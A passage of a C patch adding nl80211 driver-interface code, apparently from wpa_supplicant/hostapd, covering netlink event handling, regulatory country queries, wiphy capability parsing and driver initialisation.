nla_parse(tb, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), + genlmsg_attrlen(gnlh, 0), NULL); + + if (tb[NL80211_ATTR_IFINDEX]) + ifidx = nla_get_u32(tb[NL80211_ATTR_IFINDEX]); + else if (tb[NL80211_ATTR_WDEV]) { + wdev_id = nla_get_u64(tb[NL80211_ATTR_WDEV]); + wdev_id_set = 1; + } + + dl_list_for_each_safe(drv, tmp, &global->interfaces, + struct wpa_driver_nl80211_data, list) { + for (bss = drv->first_bss; bss; bss = bss->next) { + if ((ifidx == -1 && !wdev_id_set) || + ifidx == bss->ifindex || + (wdev_id_set && bss->wdev_id_set && + wdev_id == bss->wdev_id)) { + do_process_drv_event(bss, gnlh->cmd, tb); + return NL_SKIP; + } + } + } + + return NL_SKIP; +} + + +static int process_bss_event(struct nl_msg *msg, void *arg) +{ + struct i802_bss *bss = arg; + struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); + struct nlattr *tb[NL80211_ATTR_MAX + 1]; + + nla_parse(tb, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), + genlmsg_attrlen(gnlh, 0), NULL); + + wpa_printf(MSG_DEBUG, "nl80211: BSS Event %d (%s) received for %s", + gnlh->cmd, nl80211_command_to_string(gnlh->cmd), + bss->ifname); + + switch (gnlh->cmd) { + case NL80211_CMD_FRAME: + case NL80211_CMD_FRAME_TX_STATUS: + mlme_event(bss, gnlh->cmd, tb[NL80211_ATTR_FRAME], + tb[NL80211_ATTR_MAC], tb[NL80211_ATTR_TIMED_OUT], + tb[NL80211_ATTR_WIPHY_FREQ], tb[NL80211_ATTR_ACK], + tb[NL80211_ATTR_COOKIE], + tb[NL80211_ATTR_RX_SIGNAL_DBM]); + break; + case NL80211_CMD_UNEXPECTED_FRAME: + nl80211_spurious_frame(bss, tb, 0); + break; + case NL80211_CMD_UNEXPECTED_4ADDR_FRAME: + nl80211_spurious_frame(bss, tb, 1); + break; + default: + wpa_printf(MSG_DEBUG, "nl80211: Ignored unknown event " + "(cmd=%d)", gnlh->cmd); + break; + } + + return NL_SKIP; +} + + +static void wpa_driver_nl80211_event_receive(int sock, void *eloop_ctx, + void *handle) +{ + struct nl_cb *cb = eloop_ctx; + int res; + + wpa_printf(MSG_MSGDUMP, "nl80211: Event message available"); + + res = nl_recvmsgs(handle, cb); + if (res) { + wpa_printf(MSG_INFO, "nl80211: %s->nl_recvmsgs failed: %d", + __func__, res); + } +} + + +/** + * wpa_driver_nl80211_set_country - ask nl80211 to set the regulatory domain + * @priv: driver_nl80211 private data + * @alpha2_arg: country to which to switch to + * Returns: 0 on success, -1 on failure + * + * This asks nl80211 to set the regulatory domain for given + * country ISO / IEC alpha2. + */ +static int wpa_driver_nl80211_set_country(void *priv, const char *alpha2_arg) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + char alpha2[3]; + struct nl_msg *msg; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + alpha2[0] = alpha2_arg[0]; + alpha2[1] = alpha2_arg[1]; + alpha2[2] = '\0'; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_REQ_SET_REG); + + NLA_PUT_STRING(msg, NL80211_ATTR_REG_ALPHA2, alpha2); + if (send_and_recv_msgs(drv, msg, NULL, NULL)) + return -EINVAL; + return 0; +nla_put_failure: + nlmsg_free(msg); + return -EINVAL; +} + + +static int nl80211_get_country(struct nl_msg *msg, void *arg) +{ + char *alpha2 = arg; + struct nlattr *tb_msg[NL80211_ATTR_MAX + 1]; + struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); + + nla_parse(tb_msg, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), + genlmsg_attrlen(gnlh, 0), NULL); + if (!tb_msg[NL80211_ATTR_REG_ALPHA2]) { + wpa_printf(MSG_DEBUG, "nl80211: No country information available"); + return NL_SKIP; + } + os_strlcpy(alpha2, nla_data(tb_msg[NL80211_ATTR_REG_ALPHA2]), 3); + return NL_SKIP; +} + + +static int wpa_driver_nl80211_get_country(void *priv, char *alpha2) +{ + struct i802_bss *bss = priv; + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + int ret; + + msg = nlmsg_alloc(); + if (!msg) + return -ENOMEM; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_GET_REG); + alpha2[0] = '\0'; + ret = send_and_recv_msgs(drv, msg, nl80211_get_country, alpha2); + if (!alpha2[0]) + ret = -1; + + return ret; +} + + +static int protocol_feature_handler(struct nl_msg *msg, void *arg) +{ + u32 *feat = arg; + struct nlattr *tb_msg[NL80211_ATTR_MAX + 1]; + struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); + + nla_parse(tb_msg, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), + genlmsg_attrlen(gnlh, 0), NULL); + + if (tb_msg[NL80211_ATTR_PROTOCOL_FEATURES]) + *feat = nla_get_u32(tb_msg[NL80211_ATTR_PROTOCOL_FEATURES]); + + return NL_SKIP; +} + + +static u32 get_nl80211_protocol_features(struct wpa_driver_nl80211_data *drv) +{ + u32 feat = 0; + struct nl_msg *msg; + + msg = nlmsg_alloc(); + if (!msg) + goto nla_put_failure; + + nl80211_cmd(drv, msg, 0, NL80211_CMD_GET_PROTOCOL_FEATURES); + if (send_and_recv_msgs(drv, msg, protocol_feature_handler, &feat) == 0) + return feat; + + msg = NULL; +nla_put_failure: + nlmsg_free(msg); + return 0; +} + + +struct wiphy_info_data { + struct wpa_driver_nl80211_data *drv; + struct wpa_driver_capa *capa; + + unsigned int num_multichan_concurrent; + + unsigned int error:1; + unsigned int device_ap_sme:1; + unsigned int poll_command_supported:1; + unsigned int data_tx_status:1; + unsigned int monitor_supported:1; + unsigned int auth_supported:1; + unsigned int connect_supported:1; + unsigned int p2p_go_supported:1; + unsigned int p2p_client_supported:1; + unsigned int p2p_concurrent:1; + unsigned int channel_switch_supported:1; +}; + + +static unsigned int probe_resp_offload_support(int supp_protocols) +{ + unsigned int prot = 0; + + if (supp_protocols & NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS) + prot |= WPA_DRIVER_PROBE_RESP_OFFLOAD_WPS; + if (supp_protocols & NL80211_PROBE_RESP_OFFLOAD_SUPPORT_WPS2) + prot |= WPA_DRIVER_PROBE_RESP_OFFLOAD_WPS2; + if (supp_protocols & NL80211_PROBE_RESP_OFFLOAD_SUPPORT_P2P) + prot |= WPA_DRIVER_PROBE_RESP_OFFLOAD_P2P; + if (supp_protocols & NL80211_PROBE_RESP_OFFLOAD_SUPPORT_80211U) + prot |= WPA_DRIVER_PROBE_RESP_OFFLOAD_INTERWORKING; + + return prot; +} + + +static void wiphy_info_supported_iftypes(struct wiphy_info_data *info, + struct nlattr *tb) +{ + struct nlattr *nl_mode; + int i; + + if (tb == NULL) + return; + + nla_for_each_nested(nl_mode, tb, i) { + switch (nla_type(nl_mode)) { + case NL80211_IFTYPE_AP: + info->capa->flags |= WPA_DRIVER_FLAGS_AP; + break; + case NL80211_IFTYPE_ADHOC: + info->capa->flags |= WPA_DRIVER_FLAGS_IBSS; + break; + case NL80211_IFTYPE_P2P_DEVICE: + info->capa->flags |= + WPA_DRIVER_FLAGS_DEDICATED_P2P_DEVICE; + break; + case NL80211_IFTYPE_P2P_GO: + info->p2p_go_supported = 1; + break; + case NL80211_IFTYPE_P2P_CLIENT: + info->p2p_client_supported = 1; + break; + case NL80211_IFTYPE_MONITOR: + info->monitor_supported = 1; + break; + } + } +} + + +static int wiphy_info_iface_comb_process(struct wiphy_info_data *info, + struct nlattr *nl_combi) +{ + struct nlattr *tb_comb[NUM_NL80211_IFACE_COMB]; + struct nlattr *tb_limit[NUM_NL80211_IFACE_LIMIT]; + struct nlattr *nl_limit, *nl_mode; + int err, rem_limit, rem_mode; + int combination_has_p2p = 0, combination_has_mgd = 0; + static struct nla_policy + iface_combination_policy[NUM_NL80211_IFACE_COMB] = { + [NL80211_IFACE_COMB_LIMITS] = { .type = NLA_NESTED }, + [NL80211_IFACE_COMB_MAXNUM] = { .type = NLA_U32 }, + [NL80211_IFACE_COMB_STA_AP_BI_MATCH] = { .type = NLA_FLAG }, + [NL80211_IFACE_COMB_NUM_CHANNELS] = { .type = NLA_U32 }, + [NL80211_IFACE_COMB_RADAR_DETECT_WIDTHS] = { .type = NLA_U32 }, + }, + iface_limit_policy[NUM_NL80211_IFACE_LIMIT] = { + [NL80211_IFACE_LIMIT_TYPES] = { .type = NLA_NESTED }, + [NL80211_IFACE_LIMIT_MAX] = { .type = NLA_U32 }, + }; + + err = nla_parse_nested(tb_comb, MAX_NL80211_IFACE_COMB, + nl_combi, iface_combination_policy); + if (err || !tb_comb[NL80211_IFACE_COMB_LIMITS] || + !tb_comb[NL80211_IFACE_COMB_MAXNUM] || + !tb_comb[NL80211_IFACE_COMB_NUM_CHANNELS]) + return 0; /* broken combination */ + + if (tb_comb[NL80211_IFACE_COMB_RADAR_DETECT_WIDTHS]) + info->capa->flags |= WPA_DRIVER_FLAGS_RADAR; + + nla_for_each_nested(nl_limit, tb_comb[NL80211_IFACE_COMB_LIMITS], + rem_limit) { + err = nla_parse_nested(tb_limit, MAX_NL80211_IFACE_LIMIT, + nl_limit, iface_limit_policy); + if (err || !tb_limit[NL80211_IFACE_LIMIT_TYPES]) + return 0; /* broken combination */ + + nla_for_each_nested(nl_mode, + tb_limit[NL80211_IFACE_LIMIT_TYPES], + rem_mode) { + int ift = nla_type(nl_mode); + if (ift == NL80211_IFTYPE_P2P_GO || + ift == NL80211_IFTYPE_P2P_CLIENT) + combination_has_p2p = 1; + if (ift == NL80211_IFTYPE_STATION) + combination_has_mgd = 1; + } + if (combination_has_p2p && combination_has_mgd) + break; + } + + if (combination_has_p2p && combination_has_mgd) { + info->p2p_concurrent = 1; + info->num_multichan_concurrent = + nla_get_u32(tb_comb[NL80211_IFACE_COMB_NUM_CHANNELS]); + return 1; + } + + return 0; +} + + +static void wiphy_info_iface_comb(struct wiphy_info_data *info, + struct nlattr *tb) +{ + struct nlattr *nl_combi; + int rem_combi; + + if (tb == NULL) + return; + + nla_for_each_nested(nl_combi, tb, rem_combi) { + if (wiphy_info_iface_comb_process(info, nl_combi) > 0) + break; + } +} + + +static void wiphy_info_supp_cmds(struct wiphy_info_data *info, + struct nlattr *tb) +{ + struct nlattr *nl_cmd; + int i; + + if (tb == NULL) + return; + + nla_for_each_nested(nl_cmd, tb, i) { + switch (nla_get_u32(nl_cmd)) { + case NL80211_CMD_AUTHENTICATE: + info->auth_supported = 1; + break; + case NL80211_CMD_CONNECT: + info->connect_supported = 1; + break; + case NL80211_CMD_START_SCHED_SCAN: + info->capa->sched_scan_supported = 1; + break; + case NL80211_CMD_PROBE_CLIENT: + info->poll_command_supported = 1; + break; + case NL80211_CMD_CHANNEL_SWITCH: + info->channel_switch_supported = 1; + break; + } + } +} + + +static void wiphy_info_max_roc(struct wpa_driver_capa *capa, + struct nlattr *tb) +{ + if (tb) + capa->max_remain_on_chan = nla_get_u32(tb); +} + + +static void wiphy_info_tdls(struct wpa_driver_capa *capa, struct nlattr *tdls, + struct nlattr *ext_setup) +{ + if (tdls == NULL) + return; + + wpa_printf(MSG_DEBUG, "nl80211: TDLS supported"); + capa->flags |= WPA_DRIVER_FLAGS_TDLS_SUPPORT; + + if (ext_setup) { + wpa_printf(MSG_DEBUG, "nl80211: TDLS external setup"); + capa->flags |= WPA_DRIVER_FLAGS_TDLS_EXTERNAL_SETUP; + } +} + + +static void wiphy_info_feature_flags(struct wiphy_info_data *info, + struct nlattr *tb) +{ + u32 flags; + struct wpa_driver_capa *capa = info->capa; + + if (tb == NULL) + return; + + flags = nla_get_u32(tb); + + if (flags & NL80211_FEATURE_SK_TX_STATUS) + info->data_tx_status = 1; + + if (flags & NL80211_FEATURE_INACTIVITY_TIMER) + capa->flags |= WPA_DRIVER_FLAGS_INACTIVITY_TIMER; + + if (flags & NL80211_FEATURE_SAE) + capa->flags |= WPA_DRIVER_FLAGS_SAE; + + if (flags & NL80211_FEATURE_NEED_OBSS_SCAN) + capa->flags |= WPA_DRIVER_FLAGS_OBSS_SCAN; +} + + +static void wiphy_info_probe_resp_offload(struct wpa_driver_capa *capa, + struct nlattr *tb) +{ + u32 protocols; + + if (tb == NULL) + return; + + protocols = nla_get_u32(tb); + wpa_printf(MSG_DEBUG, "nl80211: Supports Probe Response offload in AP " + "mode"); + capa->flags |= WPA_DRIVER_FLAGS_PROBE_RESP_OFFLOAD; + capa->probe_resp_offloads = probe_resp_offload_support(protocols); +} + + +static int wiphy_info_handler(struct nl_msg *msg, void *arg) +{ + struct nlattr *tb[NL80211_ATTR_MAX + 1]; + struct genlmsghdr *gnlh = nlmsg_data(nlmsg_hdr(msg)); + struct wiphy_info_data *info = arg; + struct wpa_driver_capa *capa = info->capa; + struct wpa_driver_nl80211_data *drv = info->drv; + + nla_parse(tb, NL80211_ATTR_MAX, genlmsg_attrdata(gnlh, 0), + genlmsg_attrlen(gnlh, 0), NULL); + + if (tb[NL80211_ATTR_WIPHY_NAME]) + os_strlcpy(drv->phyname, + nla_get_string(tb[NL80211_ATTR_WIPHY_NAME]), + sizeof(drv->phyname)); + if (tb[NL80211_ATTR_MAX_NUM_SCAN_SSIDS]) + capa->max_scan_ssids = + nla_get_u8(tb[NL80211_ATTR_MAX_NUM_SCAN_SSIDS]); + + if (tb[NL80211_ATTR_MAX_NUM_SCHED_SCAN_SSIDS]) + capa->max_sched_scan_ssids = + nla_get_u8(tb[NL80211_ATTR_MAX_NUM_SCHED_SCAN_SSIDS]); + + if (tb[NL80211_ATTR_MAX_MATCH_SETS]) + capa->max_match_sets = + nla_get_u8(tb[NL80211_ATTR_MAX_MATCH_SETS]); + + if (tb[NL80211_ATTR_MAC_ACL_MAX]) + capa->max_acl_mac_addrs = + nla_get_u8(tb[NL80211_ATTR_MAC_ACL_MAX]); + + wiphy_info_supported_iftypes(info, tb[NL80211_ATTR_SUPPORTED_IFTYPES]); + wiphy_info_iface_comb(info, tb[NL80211_ATTR_INTERFACE_COMBINATIONS]); + wiphy_info_supp_cmds(info, tb[NL80211_ATTR_SUPPORTED_COMMANDS]); + + if (tb[NL80211_ATTR_OFFCHANNEL_TX_OK]) { + wpa_printf(MSG_DEBUG, "nl80211: Using driver-based " + "off-channel TX"); + capa->flags |= WPA_DRIVER_FLAGS_OFFCHANNEL_TX; + } + + if (tb[NL80211_ATTR_ROAM_SUPPORT]) { + wpa_printf(MSG_DEBUG, "nl80211: Using driver-based roaming"); + capa->flags |= WPA_DRIVER_FLAGS_BSS_SELECTION; + } + + wiphy_info_max_roc(capa, + tb[NL80211_ATTR_MAX_REMAIN_ON_CHANNEL_DURATION]); + + if (tb[NL80211_ATTR_SUPPORT_AP_UAPSD]) + capa->flags |= WPA_DRIVER_FLAGS_AP_UAPSD; + + wiphy_info_tdls(capa, tb[NL80211_ATTR_TDLS_SUPPORT], + tb[NL80211_ATTR_TDLS_EXTERNAL_SETUP]); + + if (tb[NL80211_ATTR_DEVICE_AP_SME]) + info->device_ap_sme = 1; + + wiphy_info_feature_flags(info, tb[NL80211_ATTR_FEATURE_FLAGS]); + wiphy_info_probe_resp_offload(capa, + tb[NL80211_ATTR_PROBE_RESP_OFFLOAD]); + + if (tb[NL80211_ATTR_EXT_CAPA] && tb[NL80211_ATTR_EXT_CAPA_MASK] && + drv->extended_capa == NULL) { + drv->extended_capa = + os_malloc(nla_len(tb[NL80211_ATTR_EXT_CAPA])); + if (drv->extended_capa) { + os_memcpy(drv->extended_capa, + nla_data(tb[NL80211_ATTR_EXT_CAPA]), + nla_len(tb[NL80211_ATTR_EXT_CAPA])); + drv->extended_capa_len = + nla_len(tb[NL80211_ATTR_EXT_CAPA]); + } + drv->extended_capa_mask = + os_malloc(nla_len(tb[NL80211_ATTR_EXT_CAPA])); + if (drv->extended_capa_mask) { + os_memcpy(drv->extended_capa_mask, + nla_data(tb[NL80211_ATTR_EXT_CAPA]), + nla_len(tb[NL80211_ATTR_EXT_CAPA])); + } else { + os_free(drv->extended_capa); + drv->extended_capa = NULL; + drv->extended_capa_len = 0; + } + } + + return NL_SKIP; +} + + +static int wpa_driver_nl80211_get_info(struct wpa_driver_nl80211_data *drv, + struct wiphy_info_data *info) +{ + u32 feat; + struct nl_msg *msg; + + os_memset(info, 0, sizeof(*info)); + info->capa = &drv->capa; + info->drv = drv; + + msg = nlmsg_alloc(); + if (!msg) + return -1; + + feat = get_nl80211_protocol_features(drv); + if (feat & NL80211_PROTOCOL_FEATURE_SPLIT_WIPHY_DUMP) + nl80211_cmd(drv, msg, NLM_F_DUMP, NL80211_CMD_GET_WIPHY); + else + nl80211_cmd(drv, msg, 0, NL80211_CMD_GET_WIPHY); + + NLA_PUT_FLAG(msg, NL80211_ATTR_SPLIT_WIPHY_DUMP); + if (nl80211_set_iface_id(msg, drv->first_bss) < 0) + goto nla_put_failure; + + if (send_and_recv_msgs(drv, msg, wiphy_info_handler, info)) + return -1; + + if (info->auth_supported) + drv->capa.flags |= WPA_DRIVER_FLAGS_SME; + else if (!info->connect_supported) { + wpa_printf(MSG_INFO, "nl80211: Driver does not support " + "authentication/association or connect commands"); + info->error = 1; + } + + if (info->p2p_go_supported && info->p2p_client_supported) + drv->capa.flags |= WPA_DRIVER_FLAGS_P2P_CAPABLE; + if (info->p2p_concurrent) { + wpa_printf(MSG_DEBUG, "nl80211: Use separate P2P group " + "interface (driver advertised support)"); + drv->capa.flags |= WPA_DRIVER_FLAGS_P2P_CONCURRENT; + drv->capa.flags |= WPA_DRIVER_FLAGS_P2P_MGMT_AND_NON_P2P; + } + if (info->num_multichan_concurrent > 1) { + wpa_printf(MSG_DEBUG, "nl80211: Enable multi-channel " + "concurrent (driver advertised support)"); + drv->capa.num_multichan_concurrent = + info->num_multichan_concurrent; + } + + /* default to 5000 since early versions of mac80211 don't set it */ + if (!drv->capa.max_remain_on_chan) + drv->capa.max_remain_on_chan = 5000; + + return 0; +nla_put_failure: + nlmsg_free(msg); + return -1; +} + + +static int wpa_driver_nl80211_capa(struct wpa_driver_nl80211_data *drv) +{ + struct wiphy_info_data info; + if (wpa_driver_nl80211_get_info(drv, &info)) + return -1; + + if (info.error) + return -1; + + drv->has_capability = 1; + /* For now, assume TKIP, CCMP, WPA, WPA2 are supported */ + drv->capa.key_mgmt = WPA_DRIVER_CAPA_KEY_MGMT_WPA | + WPA_DRIVER_CAPA_KEY_MGMT_WPA_PSK | + WPA_DRIVER_CAPA_KEY_MGMT_WPA2 | + WPA_DRIVER_CAPA_KEY_MGMT_WPA2_PSK; + drv->capa.enc = WPA_DRIVER_CAPA_ENC_WEP40 | + WPA_DRIVER_CAPA_ENC_WEP104 | + WPA_DRIVER_CAPA_ENC_TKIP | + WPA_DRIVER_CAPA_ENC_CCMP; + drv->capa.auth = WPA_DRIVER_AUTH_OPEN | + WPA_DRIVER_AUTH_SHARED | + WPA_DRIVER_AUTH_LEAP; + + drv->capa.flags |= WPA_DRIVER_FLAGS_SANE_ERROR_CODES; + drv->capa.flags |= WPA_DRIVER_FLAGS_SET_KEYS_AFTER_ASSOC_DONE; + drv->capa.flags |= WPA_DRIVER_FLAGS_EAPOL_TX_STATUS; + + if (!info.device_ap_sme) { + drv->capa.flags |= WPA_DRIVER_FLAGS_DEAUTH_TX_STATUS; + + /* + * No AP SME is currently assumed to also indicate no AP MLME + * in the driver/firmware. + */ + drv->capa.flags |= WPA_DRIVER_FLAGS_AP_MLME; + } + + drv->device_ap_sme = info.device_ap_sme; + drv->poll_command_supported = info.poll_command_supported; + drv->data_tx_status = info.data_tx_status; + drv->channel_switch_supported = info.channel_switch_supported; + + /* + * If poll command and tx status are supported, mac80211 is new enough + * to have everything we need to not need monitor interfaces. + */ + drv->use_monitor = !info.poll_command_supported || !info.data_tx_status; + + if (drv->device_ap_sme && drv->use_monitor) { + /* + * Non-mac80211 drivers may not support monitor interface. + * Make sure we do not get stuck with incorrect capability here + * by explicitly testing this. + */ + if (!info.monitor_supported) { + wpa_printf(MSG_DEBUG, "nl80211: Disable use_monitor " + "with device_ap_sme since no monitor mode " + "support detected"); + drv->use_monitor = 0; + } + } + + /* + * If we aren't going to use monitor interfaces, but the + * driver doesn't support data TX status, we won't get TX + * status for EAPOL frames. + */ + if (!drv->use_monitor && !info.data_tx_status) + drv->capa.flags &= ~WPA_DRIVER_FLAGS_EAPOL_TX_STATUS; + + return 0; +} + + +#ifdef ANDROID +static int android_genl_ctrl_resolve(struct nl_handle *handle, + const char *name) +{ + /* + * Android ICS has very minimal genl_ctrl_resolve() implementation, so + * need to work around that. + */ + struct nl_cache *cache = NULL; + struct genl_family *nl80211 = NULL; + int id = -1; + + if (genl_ctrl_alloc_cache(handle, &cache) < 0) { + wpa_printf(MSG_ERROR, "nl80211: Failed to allocate generic " + "netlink cache"); + goto fail; + } + + nl80211 = genl_ctrl_search_by_name(cache, name); + if (nl80211 == NULL) + goto fail; + + id = genl_family_get_id(nl80211); + +fail: + if (nl80211) + genl_family_put(nl80211); + if (cache) + nl_cache_free(cache); + + return id; +} +#define genl_ctrl_resolve android_genl_ctrl_resolve +#endif /* ANDROID */ + + +static int wpa_driver_nl80211_init_nl_global(struct nl80211_global *global) +{ + int ret; + + global->nl_cb = nl_cb_alloc(NL_CB_DEFAULT); + if (global->nl_cb == NULL) { + wpa_printf(MSG_ERROR, "nl80211: Failed to allocate netlink " + "callbacks"); + return -1; + } + + global->nl = nl_create_handle(global->nl_cb, "nl"); + if (global->nl == NULL) + goto err; + + global->nl80211_id = genl_ctrl_resolve(global->nl, "nl80211"); + if (global->nl80211_id < 0) { + wpa_printf(MSG_ERROR, "nl80211: 'nl80211' generic netlink not " + "found"); + goto err; + } + + global->nl_event = nl_create_handle(global->nl_cb, "event"); + if (global->nl_event == NULL) + goto err; + + ret = nl_get_multicast_id(global, "nl80211", "scan"); + if (ret >= 0) + ret = nl_socket_add_membership(global->nl_event, ret); + if (ret < 0) { + wpa_printf(MSG_ERROR, "nl80211: Could not add multicast " + "membership for scan events: %d (%s)", + ret, strerror(-ret)); + goto err; + } + + ret = nl_get_multicast_id(global, "nl80211", "mlme"); + if (ret >= 0) + ret = nl_socket_add_membership(global->nl_event, ret); + if (ret < 0) { + wpa_printf(MSG_ERROR, "nl80211: Could not add multicast " + "membership for mlme events: %d (%s)", + ret, strerror(-ret)); + goto err; + } + + ret = nl_get_multicast_id(global, "nl80211", "regulatory"); + if (ret >= 0) + ret = nl_socket_add_membership(global->nl_event, ret); + if (ret < 0) { + wpa_printf(MSG_DEBUG, "nl80211: Could not add multicast " + "membership for regulatory events: %d (%s)", + ret, strerror(-ret)); + /* Continue without regulatory events */ + } + + nl_cb_set(global->nl_cb, NL_CB_SEQ_CHECK, NL_CB_CUSTOM, + no_seq_check, NULL); + nl_cb_set(global->nl_cb, NL_CB_VALID, NL_CB_CUSTOM, + process_global_event, global); + + nl80211_register_eloop_read(&global->nl_event, + wpa_driver_nl80211_event_receive, + global->nl_cb); + + return 0; + +err: + nl_destroy_handles(&global->nl_event); + nl_destroy_handles(&global->nl); + nl_cb_put(global->nl_cb); + global->nl_cb = NULL; + return -1; +} + + +static int wpa_driver_nl80211_init_nl(struct wpa_driver_nl80211_data *drv) +{ + drv->nl_cb = nl_cb_alloc(NL_CB_DEFAULT); + if (!drv->nl_cb) { + wpa_printf(MSG_ERROR, "nl80211: Failed to alloc cb struct"); + return -1; + } + + nl_cb_set(drv->nl_cb, NL_CB_SEQ_CHECK, NL_CB_CUSTOM, + no_seq_check, NULL); + nl_cb_set(drv->nl_cb, NL_CB_VALID, NL_CB_CUSTOM, + process_drv_event, drv); + + return 0; +} + + +static void wpa_driver_nl80211_rfkill_blocked(void *ctx) +{ + wpa_printf(MSG_DEBUG, "nl80211: RFKILL blocked"); + /* + * This may be for any interface; use ifdown event to disable + * interface. + */ +} + + +static void wpa_driver_nl80211_rfkill_unblocked(void *ctx) +{ + struct wpa_driver_nl80211_data *drv = ctx; + wpa_printf(MSG_DEBUG, "nl80211: RFKILL unblocked"); + if (i802_set_iface_flags(drv->first_bss, 1)) { + wpa_printf(MSG_DEBUG, "nl80211: Could not set interface UP " + "after rfkill unblock"); + return; + } + /* rtnetlink ifup handler will report interface as enabled */ +} + + +static void wpa_driver_nl80211_handle_eapol_tx_status(int sock, + void *eloop_ctx, + void *handle) +{ + struct wpa_driver_nl80211_data *drv = eloop_ctx; + u8 data[2048]; + struct msghdr msg; + struct iovec entry; + u8 control[512]; + struct cmsghdr *cmsg; + int res, found_ee = 0, found_wifi = 0, acked = 0; + union wpa_event_data event; + + memset(&msg, 0, sizeof(msg)); + msg.msg_iov = &entry; + msg.msg_iovlen = 1; + entry.iov_base = data; + entry.iov_len = sizeof(data); + msg.msg_control = &control; + msg.msg_controllen = sizeof(control); + + res = recvmsg(sock, &msg, MSG_ERRQUEUE); + /* if error or not fitting 802.3 header, return */ + if (res < 14) + return; + + for (cmsg = CMSG_FIRSTHDR(&msg); cmsg; cmsg = CMSG_NXTHDR(&msg, cmsg)) + { + if (cmsg->cmsg_level == SOL_SOCKET && + cmsg->cmsg_type == SCM_WIFI_STATUS) { + int *ack; + + found_wifi = 1; + ack = (void *)CMSG_DATA(cmsg); + acked = *ack; + } + + if (cmsg->cmsg_level == SOL_PACKET && + cmsg->cmsg_type == PACKET_TX_TIMESTAMP) { + struct sock_extended_err *err = + (struct sock_extended_err *)CMSG_DATA(cmsg); + + if (err->ee_origin == SO_EE_ORIGIN_TXSTATUS) + found_ee = 1; + } + } + + if (!found_ee || !found_wifi) + return; + + memset(&event, 0, sizeof(event)); + event.eapol_tx_status.dst = data; + event.eapol_tx_status.data = data + 14; + event.eapol_tx_status.data_len = res - 14; + event.eapol_tx_status.ack = acked; + wpa_supplicant_event(drv->ctx, EVENT_EAPOL_TX_STATUS, &event); +} + + +static int nl80211_init_bss(struct i802_bss *bss) +{ + bss->nl_cb = nl_cb_alloc(NL_CB_DEFAULT); + if (!bss->nl_cb) + return -1; + + nl_cb_set(bss->nl_cb, NL_CB_SEQ_CHECK, NL_CB_CUSTOM, + no_seq_check, NULL); + nl_cb_set(bss->nl_cb, NL_CB_VALID, NL_CB_CUSTOM, + process_bss_event, bss); + + return 0; +} + + +static void nl80211_destroy_bss(struct i802_bss *bss) +{ + nl_cb_put(bss->nl_cb); + bss->nl_cb = NULL; +} + + +static void * wpa_driver_nl80211_drv_init(void *ctx, const char *ifname, + void *global_priv, int hostapd, + const u8 *set_addr) +{ + struct wpa_driver_nl80211_data *drv; + struct rfkill_config *rcfg; + struct i802_bss *bss; + + if (global_priv == NULL) + return NULL; + drv = os_zalloc(sizeof(*drv)); + if (drv == NULL) + return NULL; + drv->global = global_priv; + drv->ctx = ctx; + drv->hostapd = !!hostapd; + drv->eapol_sock = -1; + drv->num_if_indices = sizeof(drv->default_if_indices) / sizeof(int); + drv->if_indices = drv->default_if_indices; + + drv->first_bss = os_zalloc(sizeof(*drv->first_bss)); + if (!drv->first_bss) { + os_free(drv); + return NULL; + } + bss = drv->first_bss; + bss->drv = drv; + bss->ctx = ctx; + + os_strlcpy(bss->ifname, ifname, sizeof(bss->ifname)); + drv->monitor_ifidx = -1; + drv->monitor_sock = -1; + drv->eapol_tx_sock = -1; + drv->ap_scan_as_station = NL80211_IFTYPE_UNSPECIFIED; + + if (wpa_driver_nl80211_init_nl(drv)) { + os_free(drv); + return NULL; + } + + if (nl80211_init_bss(bss)) + goto failed; + + rcfg = os_zalloc(sizeof(*rcfg)); + if (rcfg == NULL) + goto failed; + rcfg->ctx = drv; + os_strlcpy(rcfg->ifname, ifname, sizeof(rcfg->ifname)); + rcfg->blocked_cb = wpa_driver_nl80211_rfkill_blocked; + rcfg->unblocked_cb = wpa_driver_nl80211_rfkill_unblocked; + drv->rfkill = rfkill_init(rcfg); + if (drv->rfkill == NULL) { + wpa_printf(MSG_DEBUG, "nl80211: RFKILL status not available"); + os_free(rcfg); + } + + if (linux_iface_up(drv->global->ioctl_sock, ifname) > 0) + drv->start_iface_up = 1; + + if (wpa_driver_nl80211_finish_drv_init(drv, set_addr, 1)) + goto failed; + + drv->eapol_tx_sock = socket(PF_PACKET, SOCK_DGRAM, 0); + if (drv->eapol_tx_sock < 0) + goto failed; + + if (drv->data_tx_status) { + int enabled = 1; + + if (setsockopt(drv->eapol_tx_sock, SOL_SOCKET, SO_WIFI_STATUS, + &enabled, sizeof(enabled)) < 0) { + wpa_printf(MSG_DEBUG, + "nl80211: wifi status sockopt failed\n"); + drv->data_tx_status = 0; + if (!drv->use_monitor) + drv->capa.flags &= + ~WPA_DRIVER_FLAGS_EAPOL_TX_STATUS; + } else { + eloop_register_read_sock(drv->eapol_tx_sock, + wpa_driver_nl80211_handle_eapol_tx_status, + drv, NULL); + } + } + + if (drv->global) { + dl_list_add(&drv->global->interfaces, &drv->list); + drv->in_interface_list = 1; + } + + return bss; + +failed: + wpa_driver_nl80211_deinit(bss); + return NULL; +} + + +/** + * wpa_driver_nl80211_init - Initialize nl80211 driver interface + * @ctx: context to be used when calling wpa_supplicant functions, + * e.g., wpa_supplicant_event() + * @ifname: interface name, e.g., wlan0 + * @global_priv: private driver global data from global_init() + * Returns: Pointer to private data, %NULL on failure + */ +static void * wpa_driver_nl80211_init(void *ctx, const char *ifname, + void *global_priv) +{ + return wpa_driver_nl80211_drv_init(ctx, ifname, global_priv, 0, NULL); +} + + +static int nl80211_register_frame(struct i802_bss *bss, + struct nl_handle *nl_handle, + u16 type, const u8 *match, size_t match_len) +{ + struct wpa_driver_nl80211_data *drv = bss->drv; + struct nl_msg *msg; + int ret = -1; + + msg = 